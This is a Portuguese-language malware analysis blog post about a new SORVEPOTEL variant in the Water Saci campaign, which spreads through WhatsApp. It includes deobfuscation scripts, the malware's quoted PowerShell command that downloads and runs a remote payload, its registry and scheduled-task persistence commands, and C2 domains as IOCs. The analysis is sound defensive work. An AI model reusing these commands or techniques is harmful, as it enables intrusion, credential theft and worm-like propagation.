Desde o início de outubro de 2025, começamos a observar atividades suspeitas relacionadas a arquivos .VBS (Visual Basic Script) em alguns clientes. Esses comportamentos indicavam a execução de um código malicioso a partir de arquivos .ZIP entregues aos alvos por meio do WhatsApp. Descobrimos se tratar de uma nova variante do malware SORVEPOTEL usado na campanha Water Saci, que tem como objetivo comprometer máquinas Windows, se espalhar para outros contatos automaticamente e roubar dados bancários.

Neste artigo, explicamos o que é essa nova variante com todas as informações que coletamos até o momento, e como quem atua na linha de frente da defesa cibernética pode mitigar que aconteça. O conteúdo está organizado em análise geral do fluxo de infecção, análise técnica do segundo estágio em VBS, análise técnica do terceiro estágio em PowerShell e, ao final, recomendações, conclusão e todos os IOCs identificados.


O que é a Ameaça Water Saci?

A campanha denominada Water Saci (tradução: “Saci da Água”) visa comprometer usuários e organizações no Brasil e em Portugal utilizando o WhatsApp como vetor de disseminação. Acreditamos tratar-se de uma família de malware evoluída - relacionada a variantes previamente vistas com os nomes de SORVEPOTEL, MAVERICK e COYOTE - que, ao infectar a máquina, viabiliza controle remoto praticamente completo do sistema operacional por meio de um C2.

Observamos que, a partir de setembro de 2025, o malware passou por modificações operacionais significativas: a implantação deixou de se basear exclusivamente em atalhos .LNK e passou a utilizar scripts .VBS. Além disso, passou a empregar o serviço IMAP do provedor terra.com.br como canal de recepção de instruções do atacante - uma técnica que não havíamos visto em variantes anteriores.

O fluxo do ataque explora o lado mais frágil da segurança: o usuário. O malware aproveita-se de engenharia social e da confiança nas mensagens que vêm de contatos conhecidos da vítima para se espalhar de forma praticamente autônoma.


Evolução da Família de Malware

O histórico dessa família é longo. A linhagem remonta a 2022, quando o malware surgiu via e-mails de phishing disfarçados de currículos, com cadeia de infecção ZIP → LNK → MSI → EXE/DLL. Em fevereiro de 2024, foi identificado publicamente como trojan bancário Coyote, passando a usar o framework Squirrel e a linguagem Nim como loader. Em junho de 2023, adotou pacotes NuGet para o segundo estágio. Em setembro de 2025, passou a entregar payloads modulares via C2 - um para propagação via sequestro do WhatsApp e outro para roubo de credenciais. Em outubro de 2025, a variante atual transitou para loaders baseados em scripts (VBS + PowerShell), substituindo os binários .NET anteriores por uma abordagem mais leve e furtiva.

Diagrama da Trend Micro

Gráfico fornecido pela Trend Research com a evolução do malware durante os anos.


O Fluxo do Ataque

O ataque inicia com uma mensagem de phishing enviada por um contato já comprometido, o que aumenta consideravelmente a probabilidade de abertura pelo destinatário. O arquivo anexo segue o padrão de nome Orcamento_2025<número aleatório>.zip. Dentro do arquivo existe o script -61ec16b0-2eb.vbs. Quando o usuário abre esse arquivo, inicia-se uma sequência de estágios que resulta na infecção da máquina, automação e propagação via WhatsApp Web e na exfiltração de dados.

Print da Mensagem de Phishing

Print da mensagem de phishing.

A infecção ocorre em três estágios:

  • Estágio 1 - Entrega inicial e execução do loader: um payload ofuscado em VBScript é propagado via WhatsApp. O VBS contém mecanismos de auto-desofuscação para reconstruir e executar o código subsequente sem interação adicional do atacante.
  • Estágio 2 - Preparação e infecção da máquina: o script VBS executado na máquina coleta informações do sistema (idioma, softwares de análise de malware), estabelece comunicação com o C2 via IMAP e servidor do atacante, e baixa um payload PowerShell criptografado para o terceiro estágio.
  • Estágio 3 - Automação e propagação: o payload PowerShell (criptografado com AES em múltiplas camadas) realiza o sequestro da sessão do WhatsApp da vítima e se espalha para os outros contatos automaticamente, formando uma botnet.

Fluxo de Infecção

Diagrama do fluxo da infecção.


Primeiro Estágio - Entrega e Execução

No primeiro estágio, o arquivo malicioso é compartilhado via WhatsApp para a vítima a partir de um contato infectado anteriormente. Ao descompactar o arquivo Orcamento-202522017737.zip, obtém-se o malware chamado -61ec16b0-2eb.vbs, que é um código em VBScript.

O uso do hífen no começo do nome do arquivo é proposital: o sistema operacional pode confundir o hífen com uma flag de um binário, atrapalhando análises de segurança via terminal.

Arquivo do Malware no Kali

Print dos arquivos baixados do WhatsApp.

O código do arquivo -61ec16b0-2eb.vbs continha 361.671 linhas e estava completamente ofuscado, impossibilitando a análise direta.

Código VBS Ofuscado

Print do início do código ofuscado.


Segundo Estágio - Análise Técnica do VBS

Desofuscando o Código VBS

Para transformar o código em algo legível, foi necessário entender a técnica de ofuscação utilizada pelo criador do malware. A técnica consiste em dividir números ASCII e operações XOR em blocos, onde cada bloco representa um trecho do código. Os mecanismos são:

  • O malware constrói strings por concatenação var = var & Chr(número) em múltiplas linhas, usando o separador 124 em ASCII - que é o caractere | - no formato "2442124128515124...";
  • Em cada bloco, o código normaliza o separador com a função Replace() e usa Split() para dividir os valores entre o | em um array;
  • Para cada token dentro do array, aplica uma sequência de subtrações e operações XOR: (val – (A Xor B)) Mod 256;
  • Os pares de operações XOR variam em cada bloco;
  • Por fim, concatena o resultado das operações de cada bloco em uma string que forma o código legível.

Código VBS Ofuscado

Print do trecho do código VBS ofuscado.

Desenvolvemos um script em Python que automatiza a reconstrução do código ofuscado no código original. Em resumo, o script:

  • Localiza e divide cada bloco utilizando expressões regulares e validações do começo e fim de cada bloco;
  • Reconstrói a string literal em cada bloco convertendo os valores ASCII em Chr(...);
  • Detecta todos os pares Xor (A Xor B) do bloco atual;
  • Realiza o cálculo para cada token e concatena na string global, gravando o resultado no arquivo payload_01.vbs.

Abaixo o script em Python utilizado para desofuscar o código em VBScript:

import re

def split_payload_in_blocks(content):
    blocks = []
    cur_block = []
    is_cur_block = False
    for i, line in enumerate(content):
        line_strip = line.strip()
        if is_cur_block and re.search(r"\bNext\b", line_strip, re.IGNORECASE):
            if cur_block:
                blocks.append(cur_block)
            cur_block = []
            is_cur_block = False
            continue
        if "Chr(" in line_strip:
            prev_has_chr = i > 0 and "Chr(" in content[i - 1]
            next_has_chr = i + 1 < len(content) and "Chr(" in content[i + 1]
            if not is_cur_block and (prev_has_chr or next_has_chr):
                is_cur_block = True
                cur_block = []
            if is_cur_block:
                cur_block.append(line_strip)
        else:
            if is_cur_block:
                cur_block.append(line_strip)
    return blocks

with open("./-61ec16b0-2eb.vbs", "r") as f:
    payload = f.read()

payload_lines = payload.splitlines()
sep_val = 124
payload_blocks = split_payload_in_blocks(payload_lines)
payload_desofuscado = ""

for block in payload_blocks:
    chr_values = ""
    xor_operations = []
    for line in block:
        if "Chr(" in line:
            ascii = re.findall(r'Chr\(\s*(\d+)\s*\)', line, flags=re.IGNORECASE)
            if ascii:
                chr_number = chr(int(ascii[0]))
                chr_values += chr_number
        if ("Xor" and "Mod") in line:
            xor_numbers = re.findall(
                r'=\s*\(\s*\w+\s*-\s*\((\d+)\s*Xor\s*(\d+)\)\)\s*Mod\s*256',
                line, flags=re.IGNORECASE
            )
            if xor_numbers:
                xor_operations.append(xor_numbers[0])
    chr_values.replace(chr(124)+chr(124), chr(124))
    res = ""
    for val in chr_values.split(chr(124)):
        if len(val) > 0:
            new_val = int(val)
            for op1, op2 in xor_operations:
                new_val = (new_val - (int(op1) ^ int(op2))) % 256
            if new_val < 0:
                new_val += 256
            if new_val > 255:
                new_val -= 256
            res += chr(new_val)
    payload_desofuscado += res

with open("./payload_01.vbs", "w") as f:
    f.write(payload_desofuscado)

Explicação Técnica do Fluxo do VBS

Com o código desofuscado, iniciamos a análise. Existem três variáveis principais que são preenchidas com valores durante a execução: POWERSHELL_URL, SERVER_URL e BACKUP_URL.

  • POWERSHELL_URL - armazena a URL do payload do terceiro estágio escrito em PowerShell;
  • SERVER_URL - armazena a URL do C2 principal usado pelo atacante para receber e enviar informações da máquina infectada;
  • BACKUP_URL - armazena a URL do C2 de backup caso o servidor C2 principal falhe.

No início do código, encontramos os domínios de fallback usados para baixar as instruções do atacante caso a conexão com o IMAP do terra.com.br falhe. Os fallback domains são hardcoded no array FALLBACK_DOMAINS e incluem domínios como lefthandsuperstructures.com, clhttradinglimited.com, mazdafinancialsevrices.com, entre outros.

Domínios de Fallback do C2

Print dos domínios de fallback.

Verificações de Segurança

O código implementa duas verificações logo no início antes de executar qualquer ação:

1. Verificação de idioma - CheckSystemLanguage()

Usa o WMI do Windows para validar se os idiomas PT-BR (código 1046) e PT-PT (código 2070) estão sendo usados pela máquina. Se falhar via WMI, tenta pela chave de registro HKEY_CURRENT_USER\Control Panel\International\sLanguage, buscando pelo valor "PT".

Chamada da Função CheckSystemLanguage

Print da chamada da função CheckSystemLanguage().

Função CheckSystemLanguage

Print da função CheckSystemLanguage() que valida o idioma do sistema.

O script só funciona se o idioma da máquina for português - Brasil ou Portugal. Se o idioma for diferente, ele se autodestrói sem deixar vestígios.

2. Verificação de debuggers - CheckDebuggerProcesses()

Usa o WMI para verificar se a máquina possui algum dos programas de análise de malware instalados (IDA, OllyDbg, x32dbg, x64dbg, windbg, ProcessHacker, Procmon etc.). Se algum desses programas for encontrado, o malware se autodestrói para evitar análise de código.

Chamada da Função CheckDebuggerProcesses

Print da chamada da função CheckDebuggerProcesses().

Função CheckDebuggerProcesses

Print da função CheckDebuggerProcesses() que detecta programas de análise de malware instalados.

Principais Variáveis e Configurações

Após as verificações, o código define as seguintes variáveis de configuração:

  • EMAIL_USER - usuário de login do e-mail do Terra (terra.com.br);
  • EMAIL_PASS - senha do usuário do e-mail;
  • CHECK_INTERVAL - intervalo de execução do loop (5 segundos);
  • EMAIL_CHECK_INTERVAL - intervalo de verificação do e-mail (30 minutos);
  • ENABLE_LOG - especifica se o log de debug está habilitado;
  • LOG_FILE - caminho onde os logs de debug são salvos (C:\Temp\client_log.txt);
  • INSTALL_PATH - caminho de autoinstalação (C:\ProgramData\WindowsManager\);
  • SERVICE_NAME - nome do arquivo de instalação (WinManagers.vbs);
  • STARTUP_NAME - nome do programa no Windows (Windows Manager Services);
  • REG_KEY_NOTIFIED - chave de registro que indica se o C2 já foi notificado.

Principais Váriaveis do Código VBS

Print das variáveis principais do código.

Tentamos acessar o e-mail do Terra hospedado em mail.terra.com.br com as credenciais salvas no código. Algumas semanas atrás conseguimos acesso, porém recentemente os atores maliciosos implementaram MFA como segundo fator de autenticação na conta.

Print Tela MFA do Login do Terra

Print da tela de MFA após a autenticação com as credenciais.

O Papel do E-mail Terra no Ataque

O e-mail do Terra é usado para extrair as informações mais atualizadas das URLs que estão ativas e sendo usadas na campanha. A cada 30 minutos, o código busca um e-mail específico chamado "data" na caixa de entrada do usuário usando imap.terra.com.br na porta 993. Esse e-mail contém as informações parametrizadas das URLs atualizadas da campanha:

  • data: → URL do C2 principal
  • backup: → URL do C2 de backup
  • ps: → URL do payload PowerShell do terceiro estágio

Esse mecanismo dá ao atacante total liberdade para modificar os domínios e artefatos usados pela campanha sem precisar recompilar ou redistribuir o malware.

Mecanismo de Autoinstalação e Persistência

A função AutoInstall() implementa o mecanismo de persistência:

  1. Verifica se o script já está sendo executado a partir do diretório de destino; se sim, encerra a rotina;
  2. Cria a pasta C:\ProgramData\WindowsManager\ (se não existir) e aplica os atributos oculto (+h) e de sistema (+s) para mascarar sua presença;
  3. Copia o próprio código para C:\ProgramData\WindowsManager\WinManagers.vbs;
  4. Adiciona uma chave de inicialização automática no registro:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Manager Services
wscript.exe C:\ProgramData\WindowsManager\WinManagers.vbs
  1. Cria uma tarefa agendada configurada para executar o malware com privilégios de SYSTEM a cada inicialização do sistema:
schtasks.exe /create /tn "Windows Manager Services" /tr
"wscript.exe 'C:\ProgramData\WindowsManager\WinManagers.vbs'" /sc onstart /ru SYSTEM /f

Funções Principais do C2

Após a autoinstalação, o código executa três funções essenciais:

GetServerURLWithFallback() - Verificação em 3 etapas:

  1. Tenta conexão com o IMAP do Terra;
  2. Se falhar, tenta os domínios de fallback do array FALLBACK_DOMAINS;
  3. Se ainda falhar, usa a URL do C2 hardcoded no código.

RegistrarCliente() - Registra a máquina no servidor do atacante via requisição POST, enviando: nome do computador, ID do cliente, nome do usuário e versão do sistema operacional.

NotificarVer() - Envia para a página /ver.php do servidor C2 via POST: ID único, nome do computador, nome do usuário, IP público, versão do SO e data de instalação do sistema operacional. Acreditamos que a data de instalação do SO é usada para bloquear o download dos artefatos caso a data seja muito recente - comportamento comum para tentar evitar ambientes sandbox instalados no momento da análise.

Loop Principal e Controle Remoto

Um loop é criado para manter o malware executando constantemente no sistema, com verificações periódicas de segurança (idioma e debuggers a cada 5 minutos), envio de heartbeat ao C2 a cada 30 segundos e verificação do e-mail do Terra a cada 30 minutos. O comando que baixa e executa o payload do terceiro estágio em memória é:

powershell -ep bypass
"[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;
iex ((New-Object Net.WebClient).DownloadString('<POWERSHELL_URL>'))"

Capacidades de Controle Remoto

A função VerificarComandos() aguarda comandos do C2, dando ao atacante controle completo sobre a máquina infectada. Abaixo as funções remotas disponíveis:

FunçãoDescrição
EnviarInfoColeta e envia hostname, usuário, hardware, SO e status para o C2
ExecutarCMDExecuta comandos de shell/console via cmd.exe e retorna a saída
UploadFileInChunksEnvia um arquivo ao servidor em partes
UploadFileToClientTransfere um arquivo do servidor para a máquina local
ExecutarPSExecuta um script ou comando PowerShell e captura o resultado
ReiniciarPCInicia reinicialização controlada do sistema via API/linha de comando
DesligarPCDesliga o sistema de forma ordenada
CaptureScreenCaptura tela do desktop e prepara imagem para exfiltração
GetTaskListLista processos em execução com metadados (PID, nome, uso)
KillProcessEnvia sinal para finalizar um processo por PID ou nome
ListFilesEnumera arquivos e pastas em um diretório fornecido
DownloadFileFromClientLê um arquivo local e o envia para o servidor
DeleteFileOrFolderRemove arquivo(s) ou diretório(s) especificados
RenameFileOrFolderRenomeia arquivo ou pasta conforme parâmetros recebidos
CopyFileOrFolderCopia arquivo(s) ou pasta(s) de um local para outro
MoveFileOrFolderMove (recorta/cola) arquivo(s) ou diretório(s) entre caminhos locais
GetFileInfoRecupera metadados de um arquivo (tamanho, timestamps, atributos)
SearchFilesPesquisa arquivos por nome/padrão/conteúdo em caminhos especificados
CreateFolderCria um novo diretório no caminho indicado
UpdateScriptSubstitui ou atualiza o script agente local por nova versão do servidor
CheckTerraEmailVerifica periodicamente o e-mail do Terra em busca de instruções ou URLs de fallback

O EDR que utilizamos - ThreatDown da Malwarebytes - detectou os comportamentos e a cadeia de infecção do segundo estágio e isolou a máquina automaticamente, bloqueando que a ameaça se espalhasse. Isso reforça a recomendação de aquisição de soluções de EDR com IA comportamental, não apenas análise por assinatura.


Terceiro Estágio - Análise Técnica do PowerShell

Descriptografando o Código PowerShell

O payload PowerShell baixado pelo segundo estágio é protegido por 5 camadas de criptografia AES. Cada nível contém chaves de descriptografia diferentes em base64. Desenvolvemos um script em Python para reverter todas as camadas.

Código Ofuscado do Terceiro Estágio

Print do código Powershell criptografado.

O procedimento de recuperação consistiu em:

  1. Converter o hexadecimal em bytes;
  2. Decodificar a chave Base64;
  3. Extrair os primeiros 16 bytes como IV e usar o restante como ciphertext;
  4. Aplicar AES-CBC (PKCS7, 256-bit) para descriptografar o payload;
  5. Descomprimir com GZIP;
  6. Decodificar em CP1252 para obter o próximo blob.

Ao decodificar o primeiro payload, foi necessário repetir esse procedimento quatro vezes adicionais - cada resultado revelou outro payload criptografado no mesmo formato - até finalmente chegar no script PowerShell final.

Abaixo o script Python utilizado (decrypt_powershell.py):

import base64
import binascii
import gzip
import io
import sys
from pathlib import Path
from Crypto.Cipher import AES

# Payload encriptado
HEX_DATA = ("")
# Chave base64
KEY_B64 = ""
OUT_PATH = Path("./decoded_powershell_blob_06.ps1")

def hex_to_bytes(hex_str):
    s = ''.join(hex_str.split())
    return binascii.unhexlify(s)

def try_decrypt_aes_cbc(enc_bytes, key, iv):
    def unpad_pkcs7(b):
        if not b:
            return b
        pad = b[-1]
        if pad < 1 or pad > AES.block_size:
            return b
        return b[:-pad]
    if len(enc_bytes) % AES.block_size == 0:
        cipher = AES.new(key, AES.MODE_CBC, iv)
        dec = cipher.decrypt(enc_bytes)
        return unpad_pkcs7(dec)

def try_decompress_gzip(data):
    with io.BytesIO(data) as bio:
        with gzip.GzipFile(fileobj=bio, mode='rb') as gz:
            return gz.read()

cipher_bytes = hex_to_bytes(HEX_DATA)
if len(cipher_bytes) < 17:
    sys.exit(1)

iv = cipher_bytes[0:16]
enc = cipher_bytes[16:]
key = base64.b64decode(KEY_B64)
decrypted = try_decrypt_aes_cbc(enc, key, iv)
decompressed = try_decompress_gzip(decrypted)
payload_text = decompressed.decode('cp1252', errors='replace')

OUT_PATH.parent.mkdir(parents=True, exist_ok=True)
with open(OUT_PATH, 'w', encoding='cp1252', errors='replace') as f:
    f.write(payload_text)

Explicação Técnica do Fluxo do PowerShell

O objetivo do script PowerShell é automatizar o roubo de sessão do WhatsApp Web, criar a mensagem de phishing (com o arquivo .ZIP), listar os contatos da vítima, enviar a mensagem para esses contatos e enviar um relatório para o servidor do atacante.

O script usa duas ferramentas open-source:

  • WPPCONNECT/WA-JS (hospedado no GitHub) - possui funções nativas para manipular o WhatsApp Web;
  • Selenium com Google Chrome - para fazer automações de navegador de forma invisível ao usuário.

Inicialização e Configurações da Campanha

O script inicia definindo C:\Temp como diretório base para armazenamento de arquivos auxiliares. Em seguida, define os endpoints de comunicação com o C2:

  • /api.php - endpoint principal da API
  • /log.php - envio de logs
  • /config.php - configurações atualizadas da campanha
  • /contacts.php - envio da lista de contatos

A constante $CONFIG_PADRAO contém um modelo padrão da mensagem de phishing:

Váriaveis Principais do Código do Terceiro Estágio

Trecho do código que define as variáveis.

mensagem_saudacao = "{saudacao} {nome}!"
mensagem_final = "Segue o arquivo solicitado. Qualquer dúvida estou à disposição!"
nome_arquivo_prefixo = "Orcamento-2025"

O script executa a função Get-ConfiguracoesOnline para consultar as configurações mais recentes da campanha diretamente no C2 via /config.php. Caso o servidor esteja indisponível, ele recorre à constante $CONFIG_PADRAO. As configurações incluem: texto da mensagem de phishing, link remoto do arquivo .ZIP malicioso e metadados adicionais para a automação.

Código Fluxo Principal do Terceiro Estágio

Trecho do código que inicia o fluxo principal.

Preparação do Ambiente

Com a URL do arquivo obtida, o script realiza o download do payload .ZIP e o armazena em C:\Temp\Bin.zip. No mesmo trecho, baixa todos os componentes necessários para execução automatizada:

  • ChromeDriver - driver de automação do Chrome compatível com a versão instalada;
  • WA-JS - a biblioteca JavaScript do WPPCONNECT obtida diretamente do repositório no GitHub;
  • Selenium - instalado via gerenciador de pacotes do .NET.

Imagem dos Componentes Principais do Código

Trecho do código que baixa os componentes necessários.

Antes de iniciar a automação, o código verifica se o Google Chrome está instalado e utiliza a função Get-ChromeUserDataPath para localizar o diretório do perfil do usuário. Esse perfil é copiado integralmente para C:\Temp, garantindo acesso às sessões autenticadas, cookies e credenciais armazenadas. Em seguida:

  1. Encerra qualquer instância ativa do Chrome e do ChromeDriver;
  2. Reinicia o Chrome em modo headless (sem interface gráfica), utilizando o Selenium e o perfil copiado;
  3. A execução ocorre de forma completamente invisível ao usuário.

Sequestro da Sessão do WhatsApp

Com o navegador em execução controlada, o script acessa web.whatsapp.com em segundo plano. Após aguardar o carregamento (com até 30 tentativas), injeta a biblioteca WPP (WA-JS) na página via ExecuteScript. A partir daí, utiliza as funções nativas do WPP para:

  1. Verificar se a sessão está autenticada com WPP.conn.isAuthenticated();
  2. Listar todos os contatos da vítima via WPP.contact.list() - filtrando apenas contatos individuais com números brasileiros/válidos;
  3. Enviar essas informações ao C2 via /contacts.php.

Disparo em Massa e Exfiltração

O envio das mensagens de phishing para cada contato funciona da seguinte forma:

  1. Para cada contato na lista, verifica se o sistema está em pausa consultando o C2;
  2. Personaliza a mensagem com o nome do contato usando o template configurado;
  3. Envia a mensagem contendo o arquivo .ZIP malicioso para o contato via WPP;
  4. Aplica delay entre os envios para evitar detecção pelo WhatsApp;
  5. Ao final, envia um relatório completo ao C2 com nome do computador, SO e a lista de todos os contatos que receberam a mensagem (nome e número).

O código contém ainda um mecanismo de pausa e retomada da campanha: o operador pode pausar temporariamente a propagação consultando um endpoint do C2 e retomar quando quiser, evitando exposição ou reagindo a mudanças. A função Wait-ForEnvioAtivo verifica esse status a cada 30 segundos enquanto o sistema estiver pausado.


Recomendações

As recomendações abaixo ajudam a reduzir a superfície de ataque contra esse tipo de ameaça:

  • Adquira soluções de Endpoint de qualidade: Uma das principais recomendações para as empresas é adquirir uma solução de EDR de qualidade que não apenas monitore ameaças com base em assinatura, mas também use IA para detectar comportamentos suspeitos na máquina e tomar medidas efetivas para conter a ameaça. O ThreatDown da Malwarebytes, por exemplo, detectou e isolou a ameaça automaticamente durante nossa análise.

  • Desabilitar o download automático no WhatsApp: Desative o download automático de mídias e documentos nas configurações do WhatsApp para reduzir a exposição acidental a arquivos maliciosos.

  • Treinar os usuários: O método usado na campanha Water Saci indica que o vetor de infecção efetivo é a falta de conscientização do usuário, que executa o malware em sua máquina. Realize treinamentos periódicos com os colaboradores sobre ameaças de phishing, com simulações e conteúdo de conscientização.

  • Habilitar MFA nas contas: Exija autenticação multifator (MFA) para todos os serviços em nuvem e web para evitar o sequestro de sessão. Oriente os usuários a fazerem logout após usar aplicativos de mensagens e a limparem regularmente os cookies e tokens do navegador.

  • Adquirir soluções de ESG (E-mail Security Gateway): Use soluções de filtro de e-mail para identificar anexos e links maliciosos no corpo do e-mail. (Recomendação focada em proteção contra ataques por e-mail.)

  • Bloquear e monitorar os IOCs: Bloqueie os IOCs especificados neste documento em seus Firewalls e EDRs. Faça também o bloqueio e monitoramento dos IOCs do SORVEPOTEL identificado em setembro - mesmo sendo a variante mais antiga, ainda está ativa e se espalhando. Consulte os IOCs da Trend Micro: https://documents.trendmicro.com/assets/txt/WhatsApp%20SelfPropagating%20Malware%20IoCs-VAeQJ5r.txt

  • Automação de SOC com Playbooks: Crie Playbooks em conjunto com ferramentas de SOAR para automatizar a resposta ao incidente quando um dos IOCs for encontrado no ambiente.

  • Segregação de funções: Forneça apenas as permissões necessárias para os usuários em suas estações de trabalho. Caso a máquina seja infectada, o atacante terá dificuldade em escalar privilégio e se movimentar lateralmente pela rede caso o usuário não possua privilégios administrativos.


Conclusão

A análise completa da campanha Water Saci revelou um malware sofisticado e bem estruturado. Trata-se de uma nova variante do SORVEPOTEL, possivelmente relacionada ao trojan COYOTE criado em 2024. Essa cadeia de infecção via WhatsApp está associada à campanha Water Saci, que tem como objetivo infectar usuários do Brasil e de Portugal.

O segundo estágio demonstrou uma técnica inédita de C2: o uso do serviço IMAP do terra.com.br para distribuir e atualizar dinamicamente os domínios da campanha sem precisar modificar o malware. O código VBS se autoinstala no sistema, cria duas persistências (registro do Windows e agendador de tarefas) e mantém controle remoto completo da máquina infectada.

O terceiro estágio implementa um mecanismo automatizado de propagação via WhatsApp Web, explorando o perfil legítimo da vítima e executando toda a rotina de disseminação de forma silenciosa. O malware está apenas se espalhando no momento da publicação deste artigo, o que levanta preocupações sobre os próximos passos do atacante - especialmente considerando as capacidades de controle remoto total já implementadas no segundo estágio, que permitem executar qualquer tipo de payload adicional nas máquinas infectadas, incluindo ransomware.

Classificamos a ameaça como crítica, dado o alto nível de efetividade e capacidade de infecção em escala, além do controle total da máquina que permite ao atacante roubar dados bancários, movimentar-se lateralmente pela rede e instalar malwares adicionais remotamente. Atualmente, os servidores C2 do atacante ainda estão online, indicando que a ameaça permanece ativa.


Indicadores de Comprometimento (IOCs)

Diretórios e Arquivos

-61ec16b0-2eb.vbs
Orcamento-202522017737.zip
WinManagers.vbs
C:\Users\<Usuario>\AppData\Local\Temp\imap_check_*.txt
C:\Users\<Usuario>\AppData\Local\Temp\ps_email.txt
C:\Users\<Usuario>\AppData\Local\Temp\client_log.txt
C:\Users\<Usuario>\AppData\Local\Temp\cleanup_*.bat
C:\Users\<Usuario>\AppData\Local\Temp\email_out.txt
C:\Users\<Usuario>\AppData\Local\Temp\cmd_*.txt
C:\Users\<Usuario>\AppData\Local\Temp\new_version.vbs
C:\Users\<Usuario>\AppData\Local\Temp\upd.bat
C:\Users\<Usuario>\AppData\Local\Temp\brow\
C:\Users\<Usuario>\AppData\Local\Temp\screen_*.png
C:\Users\<Usuario>\AppData\Local\Temp\ps_*.txt
C:\Users\<Usuario>\AppData\Local\Temp\ps_alt_*.txt
C:\Temp\
C:\ProgramData\WindowsManager\
C:\Temp\wppconnect-wa.js
C:\Temp\ChromeWpp
C:\Temp\chromedriver.exe
C:\Temp\chromedriver.zip
C:\Temp\Bin.zip

Hashes

6ca946fbe77b7b4dcf74bdf8c7f8157b7142d71a777c2626c910df7be372257b  (-61ec16b0-2eb.vbs)
4f5f85e85e3296140950b4d2519c5a49c4581076c59fb46d76b50bec32369499  (Orcamento-202522017737.zip)
bf9066a0e083c278fc62b8ceb1ffb0631acecad570ddff301150f9ee34d23097  (WinManagers.vbs)
19ff02105bbe1f7cede7c92ade9cb264339a454ca5de14b53942fa8fbe429464  (whatsapp_automation_v6_robust.ps1)

Domínios

lefthandsuperstructures[.]com:443
clhttradinglimited[.]com:443
mazdafinancialsevrices[.]com:443
ricardasphotography[.]com:443
jornalistaaurelianoborgesmidia[.]com:443
cursosgratiss[.]com[.]br:443
intelligentopennetworkingawards[.]com:443
vinhomeshungyentheempires[.]com:443
wbdiamonds[.]com:443
pastebin[.]com:443
imap.terra[.]com[.]br:993
miportuarios[.]com:443           ← C2 principal usado para controle pelo VBS
api.ipify[.]org:80
varegjopeaks[.]com:443           ← C2 usado no código em PowerShell
web.whatsapp[.]com:443
cld[.]pt:443

IPs

172.67.131.24          (miportuarios[.]com)
104.21.3.186           (miportuarios[.]com)
2606:4700:3037::6815:3ba  (miportuarios[.]com)
2606:4700:3037::ac43:8318 (miportuarios[.]com)
192.187.127.122        (lefthandsuperstructures[.]com)
3.33.130.190           (clhttradinglimited[.]com)
15.197.148.33          (clhttradinglimited[.]com)
208.109.228.176        (clhttradinglimited[.]com e cursosgratiss[.]com[.]br)
172.67.132.232         (mazdafinancialsevrices[.]com)
104.21.13.161          (mazdafinancialsevrices[.]com)
2606:4700:3035::ac43:84e8 (mazdafinancialsevrices[.]com)
2606:4700:3031::6815:da1  (mazdafinancialsevrices[.]com)
194.58.38.159          (jornalistaaurelianoborgesmidia[.]com)
83.229.17.71           (intelligentopennetworkingawards[.]com)
172.67.183.217         (vinhomeshungyentheempires[.]com)
104.21.18.224          (vinhomeshungyentheempires[.]com)
2606:4700:3035::ac43:b7d9 (vinhomeshungyentheempires[.]com)
2606:4700:3032::6815:12e0 (vinhomeshungyentheempires[.]com)
172.67.182.223         (wbdiamonds[.]com)
104.21.83.232          (wbdiamonds[.]com)
2606:4700:3032::6815:53e8 (wbdiamonds[.]com)
2606:4700:3032::ac43:b6df (wbdiamonds[.]com)
104.21.48.41           (varegjopeaks[.]com)
172.67.176.178         (varegjopeaks[.]com)
2606:4700:3037::6815:3029 (varegjopeaks[.]com)
2606:4700:3032::ac43:b0b2 (varegjopeaks[.]com)

URLs

https://pastebin[.]com/raw/SmCz4cp8
https://miportuarios[.]com/sisti/api.ps1
https://miportuarios[.]com/sisti/api.php
https://github[.]com/wppconnect-team/wajs/releases/latest/download/wppconnect-wa.js
https://varegjopeaks[.]com/api/api.php
https://varegjopeaks[.]com/api/log.php
https://varegjopeaks[.]com/api/config.php
https://varegjopeaks[.]com/api/contacts.php
https://cld[.]pt/dl/download/0f58f6f3-e3bb-4cbd-a4fb-d9ddfd4e56bf/sapotransfer-640a2b919605fph/Orcamento%20para%20avalicaco%20.zip?download=true
https://googlechromelabs.github[.]io/chrome-for-testing/latest-versions-per-milestone-with-downloads.json

Processos

powershell.exe
cmd.exe
wscript.exe
schtasks.exe
chrome.exe
chromedriver.exe

Registro do Windows

HKCU\Software\WinManager\Notified
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Manager Services

Outros

schtasks.exe /create /tn "Windows Manager Services"
  /tr "wscript.exe 'C:\ProgramData\WindowsManager\WinManagers.vbs'"
  /sc onstart /ru SYSTEM /f